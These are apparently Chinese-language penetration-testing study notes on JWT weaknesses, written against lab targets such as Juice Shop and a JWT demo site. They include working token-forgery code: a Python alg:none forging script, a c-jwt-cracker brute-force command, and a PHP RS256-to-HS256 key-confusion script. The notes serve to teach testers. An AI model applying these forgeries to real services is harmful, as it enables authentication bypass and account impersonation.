前言:自己最近在測試的時候,雖然大多碰到的都是基於非對稱加密的,但是也有碰到通過對稱加密來進行實現的,不管是非對稱和對稱,先了解JWT的安全問題將大大有利於我們對JWT的攻擊!
參考文章:https://www.cnblogs.com/r00tuser/p/12513046.htm
什么是JWT
JWT的用途:JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份信息,以便於從資源服務器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明信息,該token也可直接被用於認證,也可被加密。
其身份驗證機制,以保證其完整性和不可偽造性,這樣服務端就無需保存任何關於用戶或會話的信息了(比如就可以替代session和cookie)
JWT在HTTP數據包中的傳輸樣式如下所示
JWT的格式
格式:頭部.有效載荷.簽名
特點:1、Base64編碼 2、有"."符號所連接
比如如下一段JWT的數據:
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
頭部
頭部包括了typ類型,alg簽名算法,typ類型則為JWT,而alg簽名算法取決於開發的決定
頭部的數據為:eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
Base64解碼內容:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}
通過解碼發現,可以知道typ類型為JWT,簽名算法則為RS256
有效載荷
有效載荷用於存儲用戶的數據
eyJzdWIiOiJkdWJoZTEyMyJ9
Base64解碼內容:{"sub":"dubhe123"}
簽名
簽名則是通過密鑰來對頭部和載荷進行加密,加密完的值用來保證有效性
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
將頭部.有效載荷,然后接着使用alg指定的算法加密,然后再Base64Url編碼得到JWT的第三部分,也就是上面這段簽名的數據
使用的簽名算法通常是RS256(RSA非對稱加密)和HS256(HMAC、SHA256對稱加密)算法
尋找JWT技巧:
網址安全的JWT版本:ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
所有JWT版本(可能誤報):ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*
JWT的攻擊方式
關於JWT的攻擊方式才是這篇筆記的學習主題,下面來介紹相關常見的測試手段
默認允許算法修改為None
某些 JWT 的實現,一旦發現alg為none,將不再生成哈希簽名,自然不存在校驗簽名一說,也就是說當alg為none時,后端將不執行簽名驗證
比如如下站點基於cookie中的jwt來進行驗證,將其數據放到jwt.io進行觀察
我們將其alg修改為none,但是jwt.io不支持alg為none的生成
所以這里自己通過腳本來進行實現
# coding=utf-8
import time
import jwt
#header
header = {
"typ": "JWT",
"alg": "none"
}
#payload
payload = {
"status": "success",
"data": {
"id": 21,
"username": "",
"email": "jwtn3d@juice-sh.op",
"password": "7ed91704b689c06d51f11e018bbc0529",
"role": "customer",
"deluxeToken": "",
"lastLoginIp": "undefined",
"profileImage": "/assets/public/images/uploads/default.svg",
"totpSecret": "",
"isActive": True,
"createdAt": "2021-05-23 04:21:52.787 +00:00",
"updatedAt": "2021-05-23 04:30:11.774 +00:00",
"deletedAt": None
},
"iat": 1621744252,
"exp": 1621762252
}
jwt_token = jwt.encode(payload,key=None,algorithm=None,headers=header).decode('ascii') # key=None
print("jwtToken: "+jwt_token)
帶回去進行替換即可,可以發現只有前面兩段再加一個結尾的.符號
無效簽名,未校驗簽名
沒有校驗簽名,那么直接修改Payload中的字段然后進行重新發送測試,如下所示,user為admin然后將該jwt重新帶回去進行訪問
弱key爆破
HMAC簽名密鑰(例如HS256 / HS384 / HS512)使用對稱加密,這意味着對令牌進行簽名的密鑰也用於對其進行驗證
這里我使用的是c-jwt-cracker工具
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYyMTc0NzczNiwiZXhwIjoxNjIxNzQ4OTM2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.f014YMbmOkDeS4LJ00Eu62KSpe679rGVJSKCvj8hHTE secret123456 6
RSA256替換HS256
先來說下RSA256和HS256在JWT中的不同的地方
HS256算法使用密鑰為所有消息進行簽名和驗證,而RS256算法則使用私鑰對消息進行簽名並使用公鑰進行身份驗證。
如果將算法從RS256改為HS256,則后端代碼將使用公鑰作為密鑰,然后使用HS256算法驗證簽名,問題就在這里,如果此時我們攻擊者已經有了對應的公鑰,那么攻擊者可以將頭部中的算法修改為HS256,然后使用RSA公鑰對數據進行簽名。
這樣的話,后端代碼使用RSA公鑰+HS256算法進行簽名驗證。
測試環境:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
可以看到下面獲得的jwt為RSA256進行簽名的,而這里進行測試,alg換為HS256,然后在HS256中用RSA的公鑰進行簽名測試
自己在使用python進行測試的時候,會發現用RSA公鑰進行HS256加密的時候會進行報錯
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
這里通過php的jwt庫Firebase來進行實現的
<?php
require __DIR__ . '/vendor/autoload.php';
//require_once __DIR__ . '/common.php';
use \Firebase\JWT\JWT;
$public_key = file_get_contents('public.pem');
$jwt = [
# Issuer
"iss" => "http://demo.sjoerdlangkemper.nl/",
# Issued at
"iat" => 1621751521,
# Expire
"exp" => 1621752721,
"data" => [
"killer" => "zpchcbd"
]
];
echo JWT::encode($jwt, $public_key, 'HS256');